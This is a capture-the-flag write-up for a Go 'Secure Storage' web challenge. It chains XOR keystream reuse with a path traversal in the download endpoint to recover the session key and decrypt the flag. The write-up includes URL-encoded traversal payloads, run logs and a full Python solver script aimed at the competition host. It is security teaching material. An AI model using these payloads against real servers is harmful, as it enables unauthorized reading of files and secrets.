Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Secure Storage Breakdown

CTF writeup for Secure Storage Breakdown from Next Hunt

//Secure Storage Breakdown

Challenge Category: Web

Difficulty: Medium

Goal: Decrypt the flag stored on the server.


>1. Challenge Overview

We are given a "Secure Storage" web application written in Go. The application allows users to upload files, which are then encrypted and stored in a session-specific directory. We can also download these files.

We are provided with:

  • Source code (main.go, go.mod, etc.)

  • A Dockerfile

  • A remote instance URL.

>2. Initial Analysis

The Encryption Mechanism

Upon inspecting main.go, we find the encryption logic in the xorCopy function:

go

func xorCopy(dst io.Writer, src io.Reader, key []byte) error {

    // ...

    for {

        n, rerr := src.Read(buf)

        if n > 0 {

            for i := range n {

                out[i] = buf[i] ^ key[(int(pos)+i)%len(key)]

            }

            // ...

        }

        // ...

    }

    return nil

}

This is a simple XOR stream cipher. The critical flaw is in how the key is managed.

In ensureSession, a single 64-byte key is generated for the entire session and stored in the database:

go

key = make([]byte, keySize)

rand.Read(key)

// ... stored in DB ...

This key is reused for every file uploaded or downloaded within that session.

In cryptography, One-Time Pad (OTP) requires a unique key for every message. Reusing the key (Keystream Reuse) allows for a trivial Known-Plaintext Attack (KPA).

Vulnerability 1: Keystream Reuse  

If we know the plaintext ($P$) and the corresponding ciphertext ($C$) of any file, we can recover the key ($K$):

$$K = P \oplus C$$

Accessing the Files

The application exposes a download endpoint:

go

mux.HandleFunc("GET /download/{file}", s.handleDownload)

  

func (s *Server) handleDownload(w http.ResponseWriter, r *http.Request) {

    // ...

    fileName := r.PathValue("file")

    filePath := path.Join(dir, fileName)

    // Check if the file exists

    if _, err := os.Stat(filePath); err == nil {

        // ...

        err = xorCopy(w, in, key) // Encrypts file from disk and sends to user

        // ...

    }

}

The application uses path.Join(dir, fileName) to construct the file path.

  • fileName comes directly from the URL path parameter {file}.

  • path.Join resolves .. elements.

  • There is no check to ensure the resulting filePath is still within dir.

This means if we can send a filename like ../../flag.txt, path.Join will resolve it to /flag.txt (assuming dir is something like /tmp/storage_xxx).

Vulnerability 2: Path Traversal  

We can read arbitrary files on the system. When we read them through /download/, the server "kindly" encrypts them with our session key before sending them to us.


>3. Exploitation Strategy

We can chain these two vulnerabilities to get the flag.

Step 1: Obtain a Plaintext/Ciphertext Pair

We need a file whose content we know (Plaintext) and which we can also download through the encryption endpoint (Ciphertext).

The public image logo.png is perfect for this.

  1. Download /logo.png normally. This is our Plaintext.

  2. Download logo.png via the vulnerability: /download/../../app/logo.png.

   - We need to use URL encoding (%2e%2e%2f...) to bypass the HTTP router's normalization, ensuring the path traversal payload reaches the application logic.

   - The server reads /app/logo.png, encrypts it with our session key, and sends it. This is our Ciphertext.

Step 2: Recover the Key

We have:

  • $P_{logo}$ (Plaintext logo)

  • $C_{logo}$ ($P_{logo} \oplus K$)

We calculate:

$$K = P_{logo} \oplus C_{logo}$$

Since the key repeats every 64 bytes, we just take the first 64 bytes of the result.

Step 3: Decrypt the Flag

  1. Download the flag via traversal: /download/../../flag.txt.

   - The server reads /flag.txt, encrypts it with $K$, and sends us $C_{flag}$.

  1. Decrypt it locally:

   $$P_{flag} = C_{flag} \oplus K$$


>4. Local Reproduction

First, I built the challenge locally to verify the theory.

bash

# Build and run

docker build -t secure_storage .

docker run -d -p 8080:8080 secure_storage

I wrote a python script (exploit_local.py) implementing the strategy above. Upon running it:

text

[*] Fetching plaintext logo.png...

[+] Got plaintext logo (599932 bytes)

[*] Fetching encrypted logo.png via traversal...

[+] Got encrypted logo (599932 bytes)

[+] Recovered Key (first 16 bytes): 1f26462710d7...

[*] Fetching encrypted flag via traversal...

[+] Flag: nexus{fake_flag}

It worked perfectly! The path traversal payload required encoded slashes (%2f) to ensure path.Join resolved the traversal correctly after the router parsed the path parameter.


>5. Remote Exploitation

With the script verified, I targeted the remote instance: http://ctf.nexus-security.club:6213/.

Output:

text

[*] Fetching plaintext logo.png...

[+] Got plaintext logo (599932 bytes)

[*] Fetching encrypted logo.png via traversal...

[+] Got encrypted logo (599932 bytes)

[+] Recovered Key (first 16 bytes): a1a6cd019261...

[*] Fetching encrypted flag via traversal...

[+] Flag: nexus{l34k_7h3_k3y_br34k_7h3_c1ph3r}

Flag: nexus{l34k_7h3_k3y_br34k_7h3_c1ph3r}


>6. Solver Code

Here is the complete Python script used to solve the challenge.

python

import requests

import sys

  

# TARGET = "http://localhost:8080"

TARGET = "http://ctf.nexus-security.club:6213"

  

def xor_bytes(a, b):

    return bytes(x ^ y for x, y in zip(a, b))

  

def main():

    s = requests.Session()

    print(f"[*] Targeting: {TARGET}")

  

    # 1. Get Plaintext logo.png (Publicly available)

    print("[*] Fetching plaintext logo.png...")

    r_logo = s.get(f"{TARGET}/logo.png")

    if r_logo.status_code != 200:

        print("[-] Failed to get logo.png")

        sys.exit(1)

    plaintext_logo = r_logo.content

  

    # 2. Get Encrypted logo.png via Path Traversal

    # We use encoded slashes (%2f) and dots (%2e) to bypass router normalization

    # Payload: ../../app/logo.png

    print("[*] Fetching encrypted logo.png via traversal...")

    payload = "%2e%2e%2f%2e%2e%2fapp%2flogo.png"

    url = f"{TARGET}/download/{payload}"

    r_enc = s.get(url)

    if r_enc.status_code != 200:

        print(f"[-] Failed to invoke traversal: {r_enc.status_code}")

        print(r_enc.text[:200])

        sys.exit(1)

    encrypted_logo = r_enc.content

  

    # 3. Derive Key (P XOR C = K)

    print("[*] Recovering session key...")

    # Recover keystream

    keystream = xor_bytes(plaintext_logo, encrypted_logo)

    # The key is 64 bytes long

    key = keystream[:64]

    print(f"[+] Key recovered: {key.hex()}")

  

    # 4. Get Encrypted Flag via Path Traversal

    # Payload: ../../flag.txt

    print("[*] Fetching encrypted flag...")

    flag_payload = "%2e%2e%2f%2e%2e%2fflag.txt"

    r_flag = s.get(f"{TARGET}/download/{flag_payload}")

    if r_flag.status_code != 200:

        print(f"[-] Failed to get flag: {r_flag.status_code}")

        sys.exit(1)

    encrypted_flag = r_flag.content

    # 5. Decrypt Flag (C XOR K = P)

    flag = bytearray()

    for i in range(len(encrypted_flag)):

        flag.append(encrypted_flag[i] ^ key[i % 64])

    print(f"\n[+] DECRYPTED FLAG: {flag.decode('utf-8', errors='ignore')}")

  

if __name__ == "__main__":

    main()